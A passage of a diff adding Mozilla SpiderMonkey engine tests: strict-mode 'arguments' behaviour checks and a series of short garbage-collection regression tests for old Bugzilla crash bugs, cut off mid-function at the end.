+assertEq(arraysEqual(strictNestedAssignShadowFunction(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(obj), [obj]), true);
+
+function strictNestedAssignShadowFunctionCall(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { }
+ p = 1776;
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(obj), [obj]), true);
+
+function strictNestedShadowAndMaybeEval(code, p)
+{
+ "use strict";
+ function inner(p) { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictNestedShadowAndEval(code, p)
+{
+ "use strict";
+ function inner(p) { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedShadowAndEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictEvalContainsMutation(code)
+{
+ "use strict";
+ return eval(code);
+}
+
+assertEq(arraysEqual(strictEvalContainsMutation("code = 17; arguments"), ["code = 17; arguments"]), true);
+assertEq(arraysEqual(strictEvalContainsMutation("arguments[0] = 17; arguments"), [17]), true);
+assertEq(strictEvalContainsMutation("arguments[0] = 17; code"), "arguments[0] = 17; code");
+
+function strictNestedAssignShadowFunctionName(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { p = 1776; }
+ p();
+ }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(obj), [obj]), true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/throw-type-error.js b/js/src/tests/non262/Function/throw-type-error.js
new file mode 100644
index 0000000000..68dd6e1d07
--- /dev/null
+++ b/js/src/tests/non262/Function/throw-type-error.js
@@ -0,0 +1,16 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/publicdomain/zero/1.0/
+
+const ThrowTypeError = function(){
+ "use strict";
+ return Object.getOwnPropertyDescriptor(arguments, "callee").get;
+}();
+
+assertDeepEq(Object.getOwnPropertyDescriptor(ThrowTypeError, "length"), {
+ value: 0, writable: false, enumerable: false, configurable: false
+});
+
+assertEq(Object.isFrozen(ThrowTypeError), true);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/GC/browser.js b/js/src/tests/non262/GC/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/GC/browser.js
diff --git a/js/src/tests/non262/GC/regress-104584.js b/js/src/tests/non262/GC/regress-104584.js
new file mode 100644
index 0000000000..4148b69153
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-104584.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 104584
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104584
+ *
+ * Testing that we don't crash on this code. The idea is to
+ * call F,G WITHOUT providing an argument. This caused a crash
+ * on the second call to obj.toString() or print(obj) below -
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 104584;
+var summary = "Testing that we don't crash on this code -";
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+F();
+G();
+
+reportCompare('No Crash', 'No Crash', '');
+
+function F(obj)
+{
+ if(!obj)
+ obj = {};
+ obj.toString();
+ gc();
+ obj.toString();
+}
+
+
+function G(obj)
+{
+ if(!obj)
+ obj = {};
+ print(obj);
+ gc();
+ print(obj);
+}
diff --git a/js/src/tests/non262/GC/regress-203278-2.js b/js/src/tests/non262/GC/regress-203278-2.js
new file mode 100644
index 0000000000..5d3b4c99e0
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-203278-2.js
@@ -0,0 +1,80 @@
+// |reftest| slow
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Prepare array to test DeutschSchorrWaite implementation
+// and its reverse pointer scanning performance
+
+var a = new Array(1000 * 1000);
+
+var i = a.length;
+while (i-- != 0) {
+ switch (i % 11) {
+ case 0:
+ a[i] = { };
+ break;
+ case 1:
+ a[i] = { a: true, b: false, c: 0 };
+ break;
+ case 2:
+ a[i] = { 0: true, 1: {}, 2: false };
+ break;
+ case 3:
+ a[i] = { a: 1.2, b: "", c: [] };
+ break;
+ case 4:
+ a[i] = [ false ];
+ break;
+ case 6:
+ a[i] = [];
+ break;
+ case 7:
+ a[i] = false;
+ break;
+ case 8:
+ a[i] = "x";
+ break;
+ case 9:
+ a[i] = new String("x");
+ break;
+ case 10:
+ a[i] = 1.1;
+ break;
+ case 10:
+ a[i] = new Boolean();
+ break;
+ }
+}
+
+printStatus("DSF is prepared");
+
+// Prepare linked list that causes recursion during GC with
+// depth O(list size)
+// Note: pass "-S 500000" option to the shell to limit stack quota
+// available for recursion
+
+for (i = 0; i != 50*1000; ++i) {
+ a = [a, a, {}];
+ a = [a, {}, a];
+
+}
+
+printStatus("Linked list is prepared");
+
+gc();
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/GC/regress-203278-3.js b/js/src/tests/non262/GC/regress-203278-3.js
new file mode 100644
index 0000000000..3ac6d4c91e
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-203278-3.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Prepare array a to cause O(a.length^2) behaviour in the current
+// DeutschSchorrWaite implementation
+
+var a = new Array(1000 * 100);
+
+var i = a.length;
+while (i-- != 0)
+{
+ a[i] = {};
+}
+
+// Prepare linked list that causes recursion during GC with
+// depth O(list size)
+
+for (i = 0; i != 50*1000; ++i)
+{
+ a = [a, a.concat()];
+}
+
+if (typeof gc == 'function')
+{
+ gc();
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/GC/regress-278725.js b/js/src/tests/non262/GC/regress-278725.js
new file mode 100644
index 0000000000..47df5950f0
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-278725.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by James Ross <silver@warwickcompsoc.co.uk>
+var BUGNUMBER = 278725;
+var summary = 'Don\'t Crash during GC';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var results = [];
+for (var k = 0; k < 600000; k++) {
+ if (! (k %100000)) {
+ printStatus('hi');
+ if (0) {
+ results.length = 0;
+ gc();
+ }
+ }
+ results.push({});
+}
+
+actual = 'No Crash';
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-306788.js b/js/src/tests/non262/GC/regress-306788.js
new file mode 100644
index 0000000000..d6e1306795
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-306788.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306788;
+var summary = 'Do not crash sorting Arrays due to GC';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var array = new Array();
+
+for (var i = 0; i < 5000; i++)
+{
+ array[i] = new Array('1', '2', '3', '4', '5');
+}
+
+array.sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-311497.js b/js/src/tests/non262/GC/regress-311497.js
new file mode 100644
index 0000000000..21905a7fd8
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-311497.js
@@ -0,0 +1,61 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311497;
+var summary = 'Root pivots in js_HeapSort';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function force_gc()
+{
+ if (this.gc) gc();
+ for (var i = 0; i != 30000; ++i) {
+ var tmp = Math.sin(i);
+ tmp = null;
+ }
+}
+
+var array = new Array(10);
+for (var i = 0; i != array.length; ++i) {
+ array[i] = String.fromCharCode(i, i, i);
+}
+
+function cmp(a, b)
+{
+ for (var i = 0; i != array.length; ++i) {
+ array[i] = null;
+ }
+ force_gc();
+ return 0;
+}
+
+array.sort(cmp);
+
+// Verify that array contains either null or original strings
+
+var null_count = 0;
+var original_string_count = 0;
+for (var i = 0; i != array.length; ++i) {
+ var elem = array[i];
+ if (elem === null) {
+ ++null_count;
+ } else if (typeof elem == "string" && elem.length == 3) {
+ var code = elem.charCodeAt(0);
+ if (0 <= code && code < array.length) {
+ if (code === elem.charCodeAt(1) && code == elem.charCodeAt(2))
+ ++original_string_count;
+ }
+ }
+}
+
+var expect = array.length;
+var actual = null_count + original_string_count;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-313276.js b/js/src/tests/non262/GC/regress-313276.js
new file mode 100644
index 0000000000..7f622fa3fe
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-313276.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313276;
+var summary = 'Root strings';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = {
+ toString: function() {
+ return "*TEST*".substr(1, 4);
+ }
+};
+
+var TMP = 1e200;
+
+var likeZero = {
+ valueOf: function() {
+ if (typeof gc == "function") gc();
+ for (var i = 0; i != 40000; ++i) {
+ var tmp = 2 / TMP;
+ tmp = null;
+ }
+ return 0;
+ }
+}
+
+ expect = "TEST";
+actual = String.prototype.substr.call(obj, likeZero);
+
+printStatus("Substring length: "+actual.length);
+printStatus((expect === actual).toString());
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-313479.js b/js/src/tests/non262/GC/regress-313479.js
new file mode 100644
index 0000000000..a13dba3ff6
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-313479.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313479;
+var summary = 'Root access in jsnum.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var prepared_string = String(1);
+String(2); // To remove prepared_string from newborn
+
+var likeString = {
+ toString: function() {
+ var tmp = prepared_string;
+ prepared_string = null;
+ return tmp;
+ }
+};
+
+var likeNumber = {
+ valueOf: function() {
+ gc();
+ return 10;
+ }
+}
+
+ var expect = 1;
+var actual = parseInt(likeString, likeNumber);
+printStatus("expect="+expect+" actual="+actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-316885-01.js b/js/src/tests/non262/GC/regress-316885-01.js
new file mode 100644
index 0000000000..da814bbae4
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-316885-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str_with_num = "0.1";
+
+var obj = {
+ get elem() {
+ return str_with_num;
+ },
+ set elem(value) {
+ gc();
+ }
+
+};
+
+expect = Number(str_with_num);
+actual = obj.elem++;
+
+gc();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-316885-02.js b/js/src/tests/non262/GC/regress-316885-02.js
new file mode 100644
index 0000000000..2cdda60065
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-316885-02.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "test";
+
+var lval = {
+ valueOf: function() {
+ return str+"1";
+ }
+};
+
+var ONE = 1;
+
+var rval = {
+ valueOf: function() {
+ // Make sure that the result of the previous lval.valueOf
+ // is not GC-rooted.
+ var tmp = "x"+lval;
+ if (typeof gc == "function")
+ gc();
+ for (var i = 0; i != 40000; ++i) {
+ tmp = 1e100 / ONE;
+ }
+ return str;
+ }
+};
+
+expect = (str+"1" > str);
+actual = (lval > rval);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-316885-03.js b/js/src/tests/non262/GC/regress-316885-03.js
new file mode 100644
index 0000000000..93f632e783
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-316885-03.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "test";
+
+var lval = {
+ valueOf: function() {
+ return str+"1";
+ }
+};
+
+var ONE = 1;
+
+var rval = {
+ valueOf: function() {
+ // Make sure that the result of the previous lval.valueOf
+ // is not GC-rooted.
+ var tmp = "x"+lval;
+ if (typeof gc == "function")
+ gc();
+ for (var i = 0; i != 40000; ++i) {
+ tmp = 1e100 / ONE;
+ }
+ return str;
+ }
+};
+
+expect = (str+"1")+str;
+actual = lval+rval;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-319980-01.js b/js/src/tests/non262/GC/regress-319980-01.js
new file mode 100644
index 0000000000..7c49b54bb8
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-319980-01.js
@@ -0,0 +1,117 @@
+// |reftest| skip slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319980;
+var summary = 'GC not called during non-fatal out of memory';
+var actual = '';
+var expect = 'Normal Exit';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print ('This test should never fail explicitly. ' +
+ 'You must view the memory usage during the test. ' +
+ 'This test fails if memory usage for each subtest grows');
+
+var timeOut = 45 * 1000;
+var interval = 0.01 * 1000;
+var testFuncWatcherId;
+var testFuncTimerId;
+var maxTests = 5;
+var currTest = 0;
+
+// delay start until after js-test-driver-end runs.
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+setTimeout(testFuncWatcher, 1000);
+
+function testFuncWatcher()
+{
+ a = null;
+
+ gc();
+
+ clearTimeout(testFuncTimerId);
+ testFuncWatcherId = testFuncTimerId = null;
+ if (currTest >= maxTests)
+ {
+ actual = 'Normal Exit';
+ reportCompare(expect, actual, summary);
+ printStatus('Test Completed');
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ return;
+ }
+ ++currTest;
+
+ print('Executing test ' + currTest + '\n');
+
+ testFuncWatcherId = setTimeout("testFuncWatcher()", timeOut);
+ testFuncTimerId = setTimeout(testFunc, interval);
+}
+
+
+var a;
+function testFunc()
+{
+
+ var i;
+
+ switch(currTest)
+ {
+ case 1:
+ a = new Array(100000);
+ for (i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+ break;
+
+ case 2:
+ a = new Array(100000);
+ for (i = 0; i < 100000; i++)
+ {
+ a[i] = new Number();
+ a[i] = i;
+ }
+ break;
+
+ case 3:
+ a = new String() ;
+ a = new Array(100000);
+ for ( i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+
+ break;
+
+ case 4:
+ a = new Array();
+ a[0] = new Array(100000);
+ for (i = 0; i < 100000; i++ )
+ {
+ a[0][i] = i;
+ }
+ break;
+
+ case 5:
+ a = new Array();
+ for (i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+ break;
+ }
+
+ if (testFuncTimerId)
+ {
+ testFuncTimerId = setTimeout(testFunc, interval);
+ }
+}
+
+
diff --git a/js/src/tests/non262/GC/regress-324278.js b/js/src/tests/non262/GC/regress-324278.js
new file mode 100644
index 0000000000..56996994d2
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-324278.js
@@ -0,0 +1,63 @@
+// |reftest| skip -- slow, obsoleted by 98409 fix
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 324278;
+var summary = 'GC without recursion';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Number to push native stack size beyond 10MB if GC recurses generating
+// segfault on Fedora Core / Ubuntu Linuxes where the stack size by default
+// is 10MB/8MB.
+var N = 100*1000;
+
+function build(N) {
+ // Exploit the fact that (in ES3), regexp literals are shared between
+ // function invocations. Thus we build the following chain:
+ // chainTop: function->regexp->function->regexp....->null
+ // to check how GC would deal with this chain.
+
+ var chainTop = null;
+ for (var i = 0; i != N; ++i) {
+ var f = Function('some_arg'+i, ' return /test/;');
+ var re = f();
+ re.previous = chainTop;
+ chainTop = f;
+ }
+ return chainTop;
+}
+
+function check(chainTop, N) {
+ for (var i = 0; i != N; ++i) {
+ var re = chainTop();
+ chainTop = re.previous;
+ }
+ if (chainTop !== null)
+ throw "Bad chainTop";
+
+}
+
+if (typeof gc != "function") {
+ gc = function() {
+ for (var i = 0; i != 50*1000; ++i) {
+ var tmp = new Object();
+ }
+ }
+}
+
+var chainTop = build(N);
+printStatus("BUILT");
+gc();
+check(chainTop, N);
+printStatus("CHECKED");
+chainTop = null;
+gc();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-331719.js b/js/src/tests/non262/GC/regress-331719.js
new file mode 100644
index 0000000000..3803b3d5cb
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-331719.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 331719;
+var summary = 'Problem with String.replace running with WAY_TOO_MUCH_GC';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test requires WAY_TOO_MUCH_GC');
+
+expect = 'No';
+actual = 'No'.replace(/\&\&/g, '&');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-338653.js b/js/src/tests/non262/GC/regress-338653.js
new file mode 100644
index 0000000000..da1b7c5059
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-338653.js
@@ -0,0 +1,41 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338653;
+var summary = 'Force GC when JSRuntime.gcMallocBytes hits ' +
+ 'JSRuntime.gcMaxMallocBytes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test should never fail explicitly. ' +
+ 'You must view the memory usage during the test. ' +
+ 'This test fails if the memory usage repeatedly spikes ' +
+ 'by several hundred megabytes.');
+
+function dosubst()
+{
+ var f = '0x';
+ var s = f;
+
+ for (var i = 0; i < 18; i++)
+ {
+ s += s;
+ }
+
+ var index = s.indexOf(f);
+ while (index != -1 && index < 10000) {
+ s = s.substr(0, index) + '1' + s.substr(index + f.length);
+ index = s.indexOf(f);
+ }
+
+}
+
+dosubst();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-341877-01.js b/js/src/tests/non262/GC/regress-341877-01.js
new file mode 100644
index 0000000000..6fc88f3ac0
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-341877-01.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341877;
+var summary = 'GC hazard with for-in loop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { };
+
+var prop = "xsomePropety".substr(1);
+
+obj.first = "first"
+
+ obj[prop] = 1;
+
+for (var elem in obj) {
+ var tmp = elem.toString();
+ delete obj[prop];
+ // ensure that prop is cut from all roots
+ prop = "xsomePropety".substr(2);
+ obj[prop] = 2;
+ delete obj[prop];
+ prop = null;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-341877-02.js b/js/src/tests/non262/GC/regress-341877-02.js
new file mode 100644
index 0000000000..b636ad6930
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-341877-02.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341877;
+var summary = 'GC hazard with for-in loop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { };
+
+var prop = "xsomePropety".substr(1);
+
+obj.first = "first"
+
+ obj[prop] = 1;
+
+for (var elem in obj) {
+ var tmp = elem.toString();
+ delete obj[prop];
+ // ensure that prop is cut from all roots
+ prop = "xsomePropety".substr(2);
+ obj[prop] = 2;
+ delete obj[prop];
+ prop = null;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-346794.js b/js/src/tests/non262/GC/regress-346794.js
new file mode 100644
index 0000000000..5e3614ec29
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-346794.js
@@ -0,0 +1,40 @@
+// |reftest| slow -- slow, killed
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346794;
+var summary = 'Do not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // either don't crash or run out of memory
+ expectExitCode(0);
+ expectExitCode(3);
+
+ function boo() {
+ s = '';
+ for (;;) {
+ try {
+ new RegExp(s + '[\\');
+ } catch(e) {}
+ s += 'q';
+ }
+ }
+
+ boo();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-348532.js b/js/src/tests/non262/GC/regress-348532.js
new file mode 100644
index 0000000000..24f5624143
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-348532.js
@@ -0,0 +1,51 @@
+// |reftest| slow skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 348532;
+var summary = 'Do not overflow int when constructing Error.stack';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(3);
+ actual = 0;
+
+ // construct string of 1<<23 characters
+ var s = Array((1<<23)+1).join('x');
+
+ var recursionDepth = 0;
+ function err() {
+ try {
+ return err.apply(this, arguments);
+ } catch (e) {
+ if (!(e instanceof InternalError))
+ throw e;
+ }
+ return new Error();
+ }
+
+ // The full stack trace in error would include 64*4 copies of s exceeding
+ // 2^23 * 256 or 2^31 in length
+ var error = err(s,s,s,s);
+
+ print(error.stack.length);
+
+ expect = true;
+ actual = (error.stack.length > 0);
+
